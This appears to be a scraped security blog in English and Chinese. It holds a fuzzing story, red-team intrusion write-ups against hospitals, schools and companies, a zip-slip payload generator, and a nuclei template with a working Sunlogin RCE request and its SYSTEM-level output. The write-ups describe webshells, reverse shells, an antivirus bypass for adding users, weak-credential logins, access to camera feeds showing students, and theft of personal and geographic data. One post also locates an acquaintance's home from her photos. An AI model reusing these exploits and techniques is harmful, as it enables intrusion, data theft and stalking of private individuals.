FUZZ in workYesterday, I used FUZZ for the first time in my work. It's so cool, I have decided to write a blog about it.What is FUZZ?Fuzz or fuzzing is a technique used in computer programming and software testing. It involves providing invalid, unexpected, or random data as input to a program or system in order to identify vulnerabilities, bugs, or abnormal behavior.FUZZ in workYesterday, while testing a system, I discovered many paths using a browser plugin that called FindSomething. So I use these paths to test the system by yakit, and select the paths with 200 of status code. Among these paths, I discovered a registration API that returns some error codes. So I use FUZZ to test this API.Based on testing experience, APIs like this one are usually accessed using POST requests. Therefore, I started fuzzing the parameters using POST.I guess the registration API is the same as login API format. The fuzz dict is from https://github.com/TheKingOfDuck/fuzzDicts.However, after fuzzing, I couldn't find the first parameter.The GET requests maybe tested.I'm happy when I find a response packet that is different from the others after using GET to test this API. Following the same approach, I got a complete request packet. This is my first fuzzing result.It's so cool.
某市一些单位从互联网到内网赶在2023年的尾巴，我参加某市的一次HW。首先必须强调下面所有的行为都是经过授权的。因为这次内网没怎么打，好像没什么收获，那就把打到内网的所有目标大概写一下，不会非常详细。某卫星中心通过资产收集发现该单位某服务平台，该服务平台的同IP下的某IP存在Springboot，存在CVE-2022-22947，通过工具写内存马直接Shell。 因为是Linux服务器，没啥上线的必要，反弹个shell直接进内网开扫扫完发现内网其实没什么东西，先用默认密码登录了4个Nacos，里面没有配置文件，然后有一个Nacos密码改了，用Nacos未授权漏洞看了一下，发现里面有一个去年HW留下来的账号，但是不知道密码，于是我也用未授权添加了一个账号 还扫出来了很多SSH弱口令，但是登录发现全是网络设备，不太会利用 然后还有非常非常多的postgresql数据库的弱口令，这也是该单位的重大战果，在数据库中发现敏感地理数据超过500W条（无图） 还有一些其他的Web弱口令啊、Redis未授权啊、MySQL弱口令、etcd未授权，虽然在里面都发现了一些可以进一步扩大攻击面的东西，但是我始终没有将内网的一些数据和系统对应上，再加上打内网时间非常短，也没仔细打。某交通支付公司该漏洞是同事打的，我大概看了一下原理通过资产收集发现该公司互联网存在一台Vcenter存在任意文件读取，下载data.mdb文件，通过读取该文件伪造了一个登录Cookie，然后进入到了Vcenter后台，获取了10台服务器权限，本来打算把快照下载下来然后重置密码试试进到虚拟机内，但是因为网速问题放弃了。 某大型游乐园历史shell直通内网 某小学刚爆出来没几天的Nday，没想到直接就用上了，直接一个上传WebShell，然后上线，发现是Windows2008，抓密码、建隧道、进入远程桌面 翻了一下浏览器的记录，发现两个存在弱口令的网站，运维也没有在上面存其他密码 直接开扫，但是发现内网并不大，除了这台服务器，剩下的全是海康威视的摄像头，可以未授权获查看镜头截图以及获取登录密码，我大概瞅了几个，能看到很多学生。 某生物科技公司通过资产收集发现该公司的金蝶云可以RCE，打入内存马并上线，因为是network权限，用土豆系列提权 发现是双网卡机器，直接开扫。在金蝶服务器桌面发现一TXT文档记录了该服务器的RDP登录密码、数据库密码、两个子公司的金蝶云平台登录密码，那就RDP进去看看呗 这个内网东西也不是很多，扫到了很多Shiro，但是找不到默认Key，还发现内网有一个非常旧的ASP站，我估计大概率有SQL注入，就挂着代理用Yakit扫了一下，果真找到一个UA注入点，好像能执行命令，但是没回显，盲打了几个payload，也没见成果就放弃了。 有几个MS17-010，打成功了一个，直接进到RDP，这个机器上还有向日葵，也一块收集了，这个人机器上还有传奇这类游戏，挺有意思的 内网还有一个不出网的cve-2019-7238，能执行命令，但是实在是想不到该怎么转发出来了，现在写这个想起了可以新建用户登录啊，还是脑子不够聪明。 两个Redis，在里面发现存了登录数据，但是找不到对应的应用，而且未授权反弹shell也没成功，很可惜 接着就是重大成果，通过弱口令登录了几个MySQL数据库，在里面发现了4k条财务数据，该公司在各个平台（旺店、天猫、抖音、有赞、快手、拼多多等）百万量级的订单数据（包含姓名、地址、手机号等） 然后就是一些打印机啊、FTP、SMB之类的弱口令了，没什么意思，就不展示了。
ZIP slip vulnerabilityToday a workmate shared with me a vulnerability that called kingdee-Apusic-deployApp-upload. In this vul, I find request body is a zip file, but it's not successful that I want to modify this zip file in the request body. Finally, I found this vul is called zip-slip.Directory traversalI believe every programmer of cyber security knows about directory traversal vul. This vulnerability allows bypassing the application's access control by inserting ../. We can use ../ to access directories outside of the current directory, and download/read/write file in other directories.Zip slipzip slip is a type of directory traversal vul, We can upload a evil zip file, if the file is extracted, we will write a file into a directory where we intend.How to create a zip file with zip slip? I find codes from zhihuimport zipfile # the name of the zip file to generate zf = zipfile.ZipFile('out.zip', 'w') # the name of the malicious file that will overwrite the origial file (must exist on disk) fname = 'sec_test.txt' #destination path of the file zf.write(fname, '../../../../../../../../../../../../../../../../../../../../../../../../tmp/sec_test.tmp')This code creates a zip file named out.zip. And we can upload this zip file to the web which have directory traversal vul, and the zip file is extracted, and a file will be written into a directory.
How to use nuclei to rce with any command
How to use nuclei to rce with any commandA few weeks ago, I realized that we can use nuclei to rce with any command. You know, nuclei is a fast and customisable vulnerability scanner based on simple YAML based DSL. We can find a lot of vuls through nuclei.There are some flags to achieve specific function in nuclei, Such as: -dresp, -V.some Flags-dresp flag can show all received responses for all templates.-V flag can customize vars in key=value format.nuclei templatethere is a flag(variables) which can be used to customize vars in nuclei template. For example:id: sunlogin_rce info: name: 向日葵RCE author: Xc1Ym severity: critical description: 通过该链接可以执行命令 metadata: max-request: 2 verified: true fofa-query1: body="Verification failure" fofa-query2: app="向日葵-远程控制" tags: rce variables: cmd: "ipconfig" http: - raw: - | GET /cgi-bin/rpc?action=verify-haras HTTP/1.1 Host: {{Hostname}} - | GET /check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+{{cmd}} HTTP/1.1 Host: {{Hostname}} Cookie: CID={{cid}} extractors: - type: json part: body internal: true name: cid json: - '.verify_string' matchers: - type: dsl dsl: - "status_code_1==200" - "contains(body_1, 'verify_string')" - "status_code_2==200" - "contains(body_2, 'Windows IP')" condition: and # digest: 490a0046304402200b08d3b3306a25fe78dc7485bc5f3f766a1189738e6d89ae775afa9ed4d3f1d1022002274e233fe7383a0c9e87f6c09ddbdad543c653e6d0592d813e76c7235eae57:ac885261be3fdd93c33050b022a2b6f1We have set the default value for cmd parameter to ipconfig. If we wish to change it to whoami, we can use -V flag. And we can also use -dresp flag to show all received responses for all templates, if we know that the IP are vulnerable.PS C:\Users\qaxnb> nuclei -t D:\note\private-nuclei-template\rce\sunlogin_rce.yaml -u http://xxx __ _ ____ __ _______/ /__ (_) / __ \/ / / / ___/ / _ \/ / / / / / /_/ / /__/ / __/ / /_/ /_/\__,_/\___/_/\___/_/ v3.0.4 projectdiscovery.io [WRN] Found 12 template[s] loaded with deprecated paths, update before v3 for continued support. [INF] Current nuclei version: v3.0.4 (outdated) [INF] Current nuclei-templates version: v9.6.9 (latest) [INF] New templates added in latest release: 73 [INF] Templates loaded for current scan: 1 [WRN] Executing 1 unsigned templates. Use with caution. [INF] Targets loaded for current scan: 1 [sunlogin_rce] [http] [critical] http://xxx/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+ipconfigUse dresp to show the received responses.PS C:\Users\qaxnb> nuclei -t D:\note\private-nuclei-template\rce\sunlogin_rce.yaml -u http://xxx -dresp __ _ ____ __ _______/ /__ (_) / __ \/ / / / ___/ / _ \/ / / / / / /_/ / /__/ / __/ / /_/ /_/\__,_/\___/_/\___/_/ v3.0.4 projectdiscovery.io [WRN] Found 12 template[s] loaded with deprecated paths, update before v3 for continued support. [INF] Current nuclei version: v3.0.4 (outdated) [INF] Current nuclei-templates version: v9.6.9 (latest) [INF] New templates added in latest release: 73 [INF] Templates loaded for current scan: 1 [WRN] Executing 1 unsigned templates. Use with caution. [INF] Targets loaded for current scan: 1 [DBG] [sunlogin_rce] Dumped HTTP response http://xxx/cgi-bin/rpc?action=verify-haras HTTP/1.1 200 OK Content-Length: 87 Cache-Control: no-cache Content-Type: text/html {"__code":0,"enabled":"1","verify_string":"xxx","code":0} [DBG] [sunlogin_rce] Dumped HTTP response http://xxx/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+ipconfig HTTP/1.1 200 OK Content-Length: 750 Cache-Control: no-cache Content-Type: text/json Windows IP ���� ��̫�������� ��̫��: �����ض��� DNS ��׺ . . . . . . . : �������� IPv6 ��ַ. . . . . . . . : xxx IPv4 ��ַ . . . . . . . . . . . . : xxx �������� . . . . . . . . . . . . : xxx Ĭ������. . . . . . . . . . . . . : xxx ���������� isatap.{xxx}: ý��״̬ . . . . . . . . . . . . : ý���ѶϿ����� �����ض��� DNS ��׺ . . . . . . . : ���������� Teredo Tunneling Pseudo-Interface: �����ض��� DNS ��׺ . . . . . . . : IPv6 ��ַ . . . . . . . . . . . . : xxx �������� IPv6 ��ַ. . . . . . . . : xxx Ĭ������. . . . . . . . . . . . . : :: [sunlogin_rce:dsl-1] [http] [critical] http://xxx/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+ipconfigUse -V to customize vars. We can watch the nuclei executed whoami and show the result.PS C:\Users\qaxnb> nuclei -t D:\note\private-nuclei-template\rce\sunlogin_rce.yaml -u http://xxx -dresp -V cmd=whoami __ _ ____ __ _______/ /__ (_) / __ \/ / / / ___/ / _ \/ / / / / / /_/ / /__/ / __/ / /_/ /_/\__,_/\___/_/\___/_/ v3.0.4 projectdiscovery.io [WRN] Found 12 template[s] loaded with deprecated paths, update before v3 for continued support. [INF] Current nuclei version: v3.0.4 (outdated) [INF] Current nuclei-templates version: v9.6.9 (latest) [INF] New templates added in latest release: 73 [INF] Templates loaded for current scan: 1 [WRN] Executing 1 unsigned templates. Use with caution. [INF] Targets loaded for current scan: 1 [DBG] [sunlogin_rce] Dumped HTTP response http://xxx/cgi-bin/rpc?action=verify-haras HTTP/1.1 200 OK Content-Length: 87 Cache-Control: no-cache Content-Type: text/html {"__code":0,"enabled":"1","verify_string":"xxx","code":0} [DBG] [sunlogin_rce] Dumped HTTP response http://xxx/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+whoami HTTP/1.1 200 OK Content-Length: 21 Cache-Control: no-cache Content-Type: text/json nt authority\systemIn the endIf you want to rce witch any command, you can use variables in your template.And you can also use nuclei to upload webshell and execute commands by webshell.
某高校从互联网到内网某次HW目标此处内容需要评论回复后方可阅读
图片找地址_1昨天看到一位认识的网友发了两张她家附近的照片，我告诉她我可以通过照片找到她家的位置，征得同意后我开始了根据图片找地址。首先因为她的IP定位在XX，所以我只需要在XX省里找就可以了。先看一下这两张图 在第一张照片里可以看到远处有一座桥，可以判断在河边，同时这张照片中远处面向阳光的楼是东西方向，可以确定这条河是东西走向。同时这座桥非常具有特点，是一座系杆拱桥。首先在YY找一下，发现一座系杆拱桥，但是是南北走向的河。 接着我们沿着T江在ZZ找到了一座系杆拱桥，同时发现这里的T江是东西走向。 在这座桥的北边有一座很大的建筑，看着很像第一张照片左边的建筑。 这个建筑的旁边刚好有一座楼，楼顶是天线。 在第一张图的右下角有一座建筑，建筑的最上面是蓝色的，中间镶嵌着红色，同事在附近的路上通过百度街景发现了这一建筑，刚好符合第二张图中蓝色建筑旁边是一座玻璃外墙的大楼 通过第二张图发现左边是红色屋顶的建筑，所以我们把具体的位置锁定在红色的框中 刚开始因为两张图中没有操场，所以我和同事一致认为在红框的右半边，但是右半边并没有比较高的楼适合拍照。一筹莫展之际，我和同事发现第二张图右边的白色建筑是一个L型的，刚好和学校对的上，于是我们把具体位置锁定到了学校北边的小区。 根据第二张图近景有两个白色的球状物，发现学校北边刚好有两个白点，且白点的北边刚好是一座高层小区。 我将结果告诉了这位朋友，她肯定了我的结果。
某医院从互联网到内网某HW目标该医院子域名存在OA系统 很明显是红帆OA系统，红帆存在注入的历史漏洞尝试弱口令，使用test/123456登录成功，顺手把密码改了 直接注入 本来打算直接上线的，但是经过测试，该系统属于站库分离，且数据库在纯内网环境，无法和互联网交互，所以只能通过SQLmap的os-shell搞内网了先用SQlmap的file-wirte把fscan写进数据库服务器，然后执行，发现内网存在大量弱口令，这里忘了截RDP弱口令的图了 因为是内网环境，所以没法RDP远程登陆，所以先用net use \\192.168.13.6\C$ /u:administrator "P@ssw0rd"登录，发现可以查看其目录 mssql的服务器可以用sqlcmd直接登录执行命令，无图因为不出网，所以没有什么搞的，直接提交报告撤
某市供热公司从互联网到内网某次HW目标此处内容需要评论回复后方可阅读
某小学从互联网到内网某次HW中遇到的目标，记录一下过程在资产收集中发现某小学资产，该资产在互联网开放有一个ThinkPHP的网站 Xray在后台挂着，发现该TP站存在RCE 写一句话木马 是system权限 上传MSF木马，直接上线 抓取明文密码，未发现密码 添加用户，失败，发现有火绒 截图看了一下，是火绒拦截了 用copy c:\windows\system32\net1.exe aaa.txt绕过火绒添加用户开代理，用刚才添加的用户登录RDP 上传Fscan和Kscan，直接扫内网，发现大量海康威视摄像头 发现有些海康威视存在未授权访问 尝试获取截图和配置文件 内网还发现一些其他的web弱口令，以及大量可控制的广播
某国企下属企业从互联网到内网某次HW中遇到的目标，记录一下过程 这个资产是这次HW快结束的时候发现的，所以只搞了一个晚上就结束了 该资产是打到内网才发现是HW目标中某国企的下属企业 因为是HW结束后凭印象写的，很多图都没有此处内容需要评论回复后方可阅读